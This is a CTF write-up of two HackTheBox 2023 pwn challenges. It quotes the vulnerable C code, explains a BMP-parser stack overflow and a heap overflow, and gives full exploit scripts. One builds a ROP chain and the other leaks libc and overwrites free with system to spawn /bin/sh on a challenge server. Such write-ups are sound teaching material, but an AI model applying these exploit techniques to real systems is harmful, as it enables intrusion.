HackTheBox CTF 2023

Ditto
5 min readJul 18, 2023

Had some time to play and solved 2 pwns

  1. SnowScan [Easy]
  2. Hackback [Medium]

SnowScan [Easy]

BMPFile *loadBitmap(FILE *file)
{
BMPFile *bmp = (BMPFile *)malloc(sizeof(BMPFile));
if(bmp == NULL)
error("Bitmap struct heap allocation failed.");

// Read file headers
fread(&bmp->signature, sizeof(char), 2, file);
fread(&bmp->fileSize, sizeof(uint32_t), 1, file);
fread(&bmp->reserved, sizeof(uint32_t), 1, file);
fread(&bmp->dataOffset, sizeof(uint32_t), 1, file);
fread(&bmp->headerSize, sizeof(uint32_t), 1, file);
fread(&bmp->width, sizeof(int32_t), 1, file);
fread(&bmp->height, sizeof(int32_t), 1, file);
fread(&bmp->colorPlanes, sizeof(uint16_t), 1, file);
fread(&bmp->bitsPerPixel, sizeof(uint16_t), 1, file);
fread(&bmp->compression, sizeof(uint32_t), 1, file);

// [1] Set a corrupted imageSize here
fread(&bmp->imageSize, sizeof(uint32_t), 1, file); //uint32_t imageSize;
fread(&bmp->horizontalResolution, sizeof(int32_t), 1, file);
fread(&bmp->verticalResolution, sizeof(int32_t), 1, file);
fread(&bmp->numColors, sizeof(uint32_t), 1, file);
fread(&bmp->importantColors, sizeof(uint32_t), 1, file);

// signature bytes check
if(bmp->signature[0] != 'B' || bmp->signature[1] != 'M')
error("Invalid file signature.");

// min-max size check
if(bmp->imageSize < MIN_IMGSIZE || bmp->imageSize > MAX_IMGSIZE)
error("Invalid bitmap size. The acceptaple resolution range is 20x20 to 30x30.");

// square bitmap check
if(bmp->width != bmp->height)
error("Invalid bitmap resolution. Only square bitmaps are processed.");

return bmp;
}

int main(int argc, char **argv)
{
setup();

if(argc < 2)
error("No file provided as an argument.");

size_t len = strlen(argv[1]);
if(len >= 4 && strcmp(argv[1]+len-4, ".bmp"))
error("Invalid file extension. Only accepting .bmp files.");

FILE *file = fopen(argv[1], "rb");
if(file == NULL)
error("Failed to open file.");

BMPFile *bmp = loadBitmap(file);

fseek(file, bmp->dataOffset, SEEK_SET);

// [2] initialize buffer here
// bmp->imageSize can be controlled with a corrupted bmp in LoadBitMap at [1]
uint8_t pixelBuf[bmp->imageSize];

int c = 0, i = 0;
while((c = fgetc(file)) != EOF)
pixelBuf[i++] = (uint8_t)c; [3] //buffer overflow happens here

scan(pixelBuf, bmp->width);

fclose(file);
return 0;
}

Classic buffer overflow, there was no canary and PIE. Gain RIP control and jump to PrintFile with controlled RDI argument pointing to flag.txt.

  • Note that somehow my solver is a bit unstable, had to run multiple times on the server.

Solve script:

from pwn import *
import IPython

file_path = "./dummy.bmp"

with open(file_path, 'rb') as file:
data = file.read()
file_size = len(data)

#print(data)
print(file_size)

#mov rdi, rbx ; call r8 ; (1 found)
#mov rdi, rbx ; call rax ; (1 found)
#0x004853ca: pop rax ; pop rdx ; pop rbx ; ret ; (1 found)
#0x00488668: mov qword [rax], rdx ; pop rbx ; ret ; (1 found)
#0x00401a72 pop rdi ; ret ; (1 found)

corrupted_bmp = data[0:0x22E]

pop_rdi = 0x401a72
print_file = 0x401FAC
flag_file = b'flag.txt'
ret = 0x0046d4ad
# RIP CONTROL
#corrupted_bmp += p64(0x4141414141414141)
#corrupted_bmp += p64(0x4444444444444444)

corrupted_bmp += p64(0x004853ca) # pop rax, rdx, rbx
corrupted_bmp += p64(0x4c3a00) # rax: bss
corrupted_bmp += flag_file # rdx
corrupted_bmp += p64(0x42424242) # rbx
corrupted_bmp += p64(0x00488668) # mov qword[rax], rdx; pop rbx
corrupted_bmp += p64(0x42424242) # rbx
corrupted_bmp += p64(0x00401a72) # pop rdi; ret
corrupted_bmp += p64(0x4c3a00) # rdi: bss
corrupted_bmp += p64(0x00435cc2)
corrupted_bmp += p64(print_file)
corrupted_bmp += p64(0x4343434343434343)
corrupted_bmp += p64(0x4343434343434344)
corrupted_bmp += p64(0x4343434343434345)
corrupted_bmp += p64(0x004853ca) # rip
corrupted_bmp += p64(0x4c3a00) # rax: bss
corrupted_bmp += flag_file # rdx
corrupted_bmp += p64(0x42424242) # rbx
corrupted_bmp += p64(0x00488668) # mov qword[rax], rdx; pop rbx
corrupted_bmp += p64(0x42424242) # rbx
corrupted_bmp += p64(0x00401a72) # pop rdi; ret
corrupted_bmp += p64(0x4c3a00) # rdi: bss
corrupted_bmp += p64(0x00435cc2)
corrupted_bmp += p64(print_file)


#i = len(corrupted_bmp)
#while (i < file_size):
# corrupted_bmp += b'\x43'
# i += 1

with open("corrupted.bmp", 'wb') as file:
file.write(corrupted_bmp)

print(len(corrupted_bmp))

#data[0x346:0x346+8] = p64(0x4141414141414141)

Hackback [Medium]

int addRedirectorBotURL(C2Buffer* buf){  //buf has size of 1024
C2Bot* c2Bot;
uint8_t botID;
uint8_t tmp_buf[4];
uint16_t domainlen;

buf->start += sizeof(uint8_t);

...

if(!c2Bot->domain)
{
// max length of domain = 0x100
// sizeof(uint8_t) = 1 and MAX_DOMAIN_LEN = 255
c2Bot->domain = malloc(sizeof(uint8_t) * (MAX_DOMAIN_LEN + 1) ) ;
CHECK_PTR_NULL(c2Bot->domain);
}

...

// buf->end could be larger than c2Bot->domain
buf->end = strstr(buf->start,".io");

if(!buf->end && c2Bot->domain){
free(c2Bot->domain);
c2Bot->domain = NULL;
return 1;
}

// so domainLen is larger than domain!
c2Bot->domainLen = buf->end - buf->start;

// overflow here!!!
memcpy(c2Bot->domain, buf->start, c2Bot->domainLen);

...

}

int main(int argc, char const *argv[])
{

setup();

uint8_t tmp[1024];
C2Buffer tmp_buf;
uint8_t cmdId;


while(1){
memset(tmp, 0, 1024);
fgets(tmp, 1024, stdin);
tmp_buf.start = tmp; //tmp_buf.start is set to tmp which has size of 1024
cmdId = (uint8_t)tmp[0];

switch (cmdId){
case ADDREDIRECTORBOTURL:
if(addRedirectorBotURL(&tmp_buf)){
puts("err:0xAA");
}

...

}

Exploit:

  1. We can make use of the C2Bot struct to get arbitrary read/write
typedef struct C2Bot {
size_t domainLen;
uint8_t* domain;
uint16_t port;
uint16_t nameLen;
uint8_t* name;
} C2Bot;

2. By overflowing and overwriting name and nameLen, we can avoid reallocating and gain arbitrary read/write.

  • Trigger the bug with C2Bot_1
  • C2Bot_1 overwrites C2Bot_2’s name
  • ChangeBotName(C2Bot_2)

3. With arbitrary read/write, overwrite free to system to do system(“/bin/sh”)

Final Solver:

from pwn import *
import IPython
import time

local_bin = "./hackback"
libc = ELF("./libc.so.6")
elf = ELF(local_bin)
rop = ROP(elf)
context.log_level = 'debug'


#version 2.35
#p = gdb.debug(local_bin, '''
# #b *0x40192B
#
# #strncpy
# #b *0x401555
#
# #overflow memcpy
# #b *0x40175A
#
# # fetch botname
# #b *0x4013EE
#
# # changeBotName
# #b *0x0401415
# continue
# ''')

p = remote("94.237.62.82", 53638)


ADDREDIRECTORBOTURL = b'\xAA'
ADDNEWBOT = b'\xBB'
CHANGEBOTNAME = b'\xCC'
FETCHBOTNAME = b'\xDD'

def sla(receive,reply):
p.sendlineafter(receive,reply)

def sa(receive,reply):
p.sendafter(receive,reply)

# id is 1 byte
# len is 2 bytes but only first byte is used
# [id] [len] [name]

def addNewBot(id, len, name):
cmd = b''
cmd += ADDNEWBOT
cmd += id
cmd += len
cmd += name
p.sendline(cmd)

def changeBotName(id, new_len, new_name):
time.sleep(1)
cmd = b''
cmd += CHANGEBOTNAME
cmd += id
cmd += new_len
cmd += new_name
p.sendline(cmd)

def addRedirectorBotURL(id, domainLen, domainName, port):
time.sleep(1)
cmd = b''
cmd += ADDREDIRECTORBOTURL
cmd += id
cmd += domainLen
cmd += domainName
cmd += port
p.sendline(cmd)

def fetchBotName(id):
time.sleep(1)
cmd = b''
cmd += FETCHBOTNAME
cmd += id
p.sendline(cmd)

addNewBot(b'\x01', b'\xFF\x00', b'AAAAA')
#changeBotName(b'\x01', b'\x00\x01', b'aaaaaaa')

#payload = b'A' * 0x200
#payload += b'.io'

addRedirectorBotURL(b'\x01', b'\xFF\x00', b"bbbbbbb.io", b"\x80")
addNewBot(b'\x02', b'\x10\x00', b'AAAAA')
addNewBot(b'\x03', b'\x10\x00', b'AAAAA')
addNewBot(b'\x04', b'\x10\x00', b'/bin/sh\x00')
addNewBot(b'\x05', b'\x10\x01', b'/bin/sh\x00') # this should corrupt bot2
addNewBot(b'\x06', b'\x30\x01', b'/bin/sh\x00') # this should corrupt bot2
addNewBot(b'\x07', b'\x40\x01', b'/bin/sh\x00') # this should corrupt bot2
changeBotName(b'\x04', b'\x20\x01', b'/bin/sh\x00aaaa') # this should corrupt bot2

payload = b'B' * (0x1d394d0-0x1d393e0)
payload += b'A' * 0x36
payload += b'.io'
addRedirectorBotURL(b'\x01', b'\xFF\x00', payload, b"\x80")


# oh lol the bug is i can run oob
# bug 2 the input buf is more than domainlength
#fetchBotName(b'\x02')

fakeName = b'A' * 0x38
fakeName += p64(0x404020) #strncpy GOT
changeBotName(b'\x02', b'\xFF\x01', fakeName) # this should corrupt bot2

fetchBotName(b'\x03')

leak = p.recvuntil(b'3:')
leak = p.recv()
leak = leak[:-1]
print(leak)

libc_leak = int.from_bytes(leak, 'little')
print("libc_leak = " , hex(libc_leak))

libc_offset = 0x7fa8011b3430-0x7fa801000000
libc_base = libc_leak - libc_offset
print("libc_base = " , hex(libc_base))

SYSTEM = libc.sym["system"]

fakeName = b'A' * 0x38
fakeName += p64(0x404018) #free GOT
changeBotName(b'\x02', b'\xFF\x01', fakeName) # this should corrupt bot3

changeBotName(b'\x03', b'\x08\x01', p64(SYSTEM + libc_base)) # this should corrupt bot2

changeBotName(b'\x07', b'\x80\x01', b'AAAAAAAAAAAAA') # this should corrupt bot2

p.interactive()

--

--